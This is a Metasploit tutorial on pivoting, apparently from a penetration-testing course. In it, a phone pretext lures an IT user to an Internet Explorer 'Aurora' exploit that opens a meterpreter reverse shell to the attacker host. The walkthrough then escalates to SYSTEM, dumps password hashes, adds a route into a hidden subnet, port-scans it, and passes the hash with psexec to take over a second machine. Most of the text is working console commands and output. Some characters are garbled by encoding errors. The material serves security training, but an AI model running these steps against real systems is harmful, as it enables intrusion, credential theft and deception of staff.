Pivoting a11y.text Pivoting What is Pivoting? a11y.text What is Pivoting? Pivoting is the unique technique of using an instance (also referred to as a â€˜plantâ€™ or â€˜footholdâ€™) to be able to move around inside a network. Basically using the first compromise to allow and even aid in the compromise of other otherwise inaccessible systems. In this scenario we will be using it for routing traffic from a normally non-routable network. For example, we are a pentester for Security-R-Us. You pull the company directory and decide to target a user in the target IT department. You call up the user and claim you are from a vendor and would like them to visit your website in order to download a security patch. At the URL you are pointing them to, you are running an Internet Explorer exploit.

```
msf > use exploit/windows/browser/ms10_002_aurora
msf exploit(ms10_002_aurora) > show options

Module options:

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   SRVHOST     0.0.0.0          yes       The local host to listen on.
   SRVPORT     8080             yes       The local port to listen on.
   SSL         false            no        Negotiate SSL for incoming connections
   SSLVersion  SSL3             no        Specify the version of SSL that should be used (accepted:
SSL2, SSL3, TLS1)
   URIPATH                      no        The URI to use for this exploit (default is random)


Exploit target:

   Id  Name
```

```
  --  ----
  0   Automatic



msf exploit(ms10_002_aurora) > set URIPATH /
URIPATH => /
msf exploit(ms10_002_aurora) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(ms10_002_aurora) > set LHOST 192.168.1.101
LHOST => 192.168.1.101
msf exploit(ms10_002_aurora) > exploit -j
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.101:4444
[*] Using URL: http://0.0.0.0:8080/
[*]  Local IP: http://192.168.1.101:8080/
[*] Server started.
msf exploit(ms10_002_aurora) > When the target visits our malicious URL, a meterpreter session is
opened for us giving full access to the system. msf exploit(ms10_002_aurora) >
[*] Sending Internet Explorer "Aurora" Memory Corruption to client 192.168.1.201
[*] Sending stage (749056 bytes) to 192.168.1.201
[*] Meterpreter session 1 opened (192.168.1.101:4444 -> 192.168.1.201:8777) at Mon Dec 06
08:22:29 -0700 2010

msf exploit(ms10_002_aurora) > sessions -l
```

```
Active sessions
===============

  Id  Type                   Information                                      Connection
  --  ----                   -----------                                      ----------
  1   meterpreter x86/win32  XEN-XP-SP2-BARE\Administrator @ XEN-XP-SP2-BARE
192.168.1.101:4444 -> 192.168.1.201:8777

msf exploit(ms10_002_aurora) > When we connect to our meterpreter session, we run ipconfig and
see that the exploited system is dual-homed, a common configuration amongst IT staff. msf
exploit(ms10_002_aurora) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > ipconfig

Citrix XenServer PV Ethernet Adapter #2 - Packet Scheduler Miniport
Hardware MAC: d2:d6:70:fa:de:65
IP Address  : 10.1.13.3
Netmask     : 255.255.255.0



MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address  : 127.0.0.1
Netmask     : 255.0.0.0
```

```
Citrix XenServer PV Ethernet Adapter - Packet Scheduler Miniport
Hardware MAC: c6:ce:4e:d9:c9:6e
IP Address  : 192.168.1.201
Netmask     : 255.255.255.0
```

meterpreter > We want to leverage this newly discovered information and attack this additional network. Metasploit has an autoroute meterpreter script that will allow us to attack this second network through our first compromised machine. meterpreter > run autoroute -h

```
[*] Usage:   run autoroute [-r] -s subnet -n netmask
[*] Examples:
[*]   run autoroute -s 10.1.1.0 -n 255.255.255.0  # Add a route to 10.10.10.1/255.255.255.0
[*]   run autoroute -s 10.10.10.1                 # Netmask defaults to 255.255.255.0
[*]   run autoroute -s 10.10.10.1/24              # CIDR notation is also okay
[*]   run autoroute -p                            # Print active routing table
[*]   run autoroute -d -s 10.10.10.1              # Deletes the 10.10.10.1/255.255.255.0 route
[*] Use the "route" and "ipconfig" Meterpreter commands to learn about available routes
meterpreter > run autoroute -s 10.1.13.0/24
[*] Adding a route to 10.1.13.0/255.255.255.0...
[+] Added route to 10.1.13.0/255.255.255.0 via 192.168.1.201
[*] Use the -p option to list all active routes
meterpreter > run autoroute -p
```

```
Active Routing Table
====================

   Subnet             Netmask            Gateway
   ------             -------            -------
   10.1.13.0          255.255.255.0      Session 1

meterpreter > Now that we have added our additional route, we will escalate to SYSTEM, dump the password hashes, and background our meterpreter session by pressing Ctrl-z. meterpreter > getsystem
...got system (via technique 1).
meterpreter > run hashdump
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY c2ec80f879c1b5dc8d2b64f1e2c37a45...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hashes...


Administrator:500:81cbcea8a9af93bbaad3b435b51404ee:561cbdae13ed5abd30aa94ddeb3cf52d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:9a6ae26408b0629ddc621c90c897b42d:07a59dbe14e2ea9c4792e2f189e2de3a:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:ebf9fa44b3204029db5a8a77f5350160:::
victim:1004:81cbcea8a9af93bbaad3b435b51404ee:561cbdae13ed5abd30aa94ddeb3cf52d:::
```

```
meterpreter >
Background session 1? [y/N]
```

msf exploit(ms10_002_aurora) > Now we need to determine if there are other systems on this second network we have discovered. We will use a basic TCP port scanner to look for ports 139 and 445.

```
msf exploit(ms10_002_aurora) > use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > show options

Module options:

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   CONCURRENCY  10              yes       The number of concurrent ports to check per host
   FILTER                       no        The filter string for capturing traffic
   INTERFACE                    no        The name of the interface
   PCAPFILE                     no        The name of the PCAP capture file to process
   PORTS       1-10000          yes       Ports to scan (e.g. 22-25,80,110-900)
   RHOSTS                       yes       The target address range or CIDR identifier
   SNAPLEN     65535            yes       The number of bytes to capture
   THREADS     1                yes       The number of concurrent threads
   TIMEOUT     1000             yes       The socket connect timeout in milliseconds
   VERBOSE     false            no        Display verbose output

msf auxiliary(tcp) > set RHOSTS 10.1.13.0/24
RHOST => 10.1.13.0/24
```

```
msf auxiliary(tcp) > set PORTS 139,445
PORTS => 139,445
msf auxiliary(tcp) > set THREADS 50
THREADS => 50
msf auxiliary(tcp) > run

[*] 10.1.13.3:139 - TCP OPEN
[*] 10.1.13.3:445 - TCP OPEN
[*] 10.1.13.2:445 - TCP OPEN
[*] 10.1.13.2:139 - TCP OPEN
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed
```

msf auxiliary(tcp) > We have discovered an additional machine on this network with ports 139 and 445 open so we will try to re-use our gathered password hash with the windows/smb/psexec exploit module. Since many companies use imaging software, the local Administrator password is frequently the same across the entire enterprise. msf auxiliary(tcp) > use exploit/windows/smb/psexec

```
msf exploit(psexec) > show options

Module options:

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   RHOST                       yes       The target address
   RPORT      445              yes       Set the SMB service port
   SMBDomain  WORKGROUP        no        The Windows domain to use for authentication
   SMBPass                    no       The password for the specified username
   SMBUser                    no       The username to authenticate as



Exploit target:


   Id  Name
   --  ----
   0   Automatic



msf exploit(psexec) > set RHOST 10.1.13.2
RHOST => 10.1.13.2
msf exploit(psexec) > set SMBUser Administrator
SMBUser => Administrator
msf exploit(psexec) > set SMBPass
81cbcea8a9af93bbaad3b435b51404ee:561cbdae13ed5abd30aa94ddeb3cf52d
SMBPass => 81cbcea8a9af93bbaad3b435b51404ee:561cbdae13ed5abd30aa94ddeb3cf52d
msf exploit(psexec) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(psexec) > exploit

[*] Connecting to the server...
[*] Started bind handler
[*] Authenticating to 10.1.13.2:445|WORKGROUP as user 'Administrator'...
[*] Uploading payload...
[*] Created \qNuIKByV.exe...

[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:10.1.13.2[\svcctl] ...

[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:10.1.13.2[\svcctl] ...

[*] Obtaining a service manager handle...

[*] Creating a new service (UOtrbJMd - "MNYR")...

[*] Closing service handle...

[*] Opening service...

[*] Starting the service...

[*] Removing the service...

[*] Closing service handle...

[*] Deleting \qNuIKByV.exe...

[*] Sending stage (749056 bytes)

[*] Meterpreter session 2 opened (192.168.1.101-192.168.1.201:0 -> 10.1.13.2:4444) at Mon Dec 06
08:56:42 -0700 2010
```

meterpreter > Our attack has been successful! You can see in the above output that we have a meterpreter session connecting to 10.1.13.2 via our existing meterpreter session with 192.168.1.201. Running ipconfig on our newly compromised machine shows that we have reached a system that is not normally accessible to us. meterpreter > ipconfig

```
Citrix XenServer PV Ethernet Adapter

Hardware MAC: 22:73:ff:12:11:4b

IP Address  : 10.1.13.2

Netmask     : 255.255.255.0
```

```
MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address  : 127.0.0.1
Netmask     : 255.0.0.0


meterpreter >
```

As you can see, pivoting is an extremely powerful feature and is a critical capability to have on penetration tests.

Next Portfwd Prev Packet Sniffing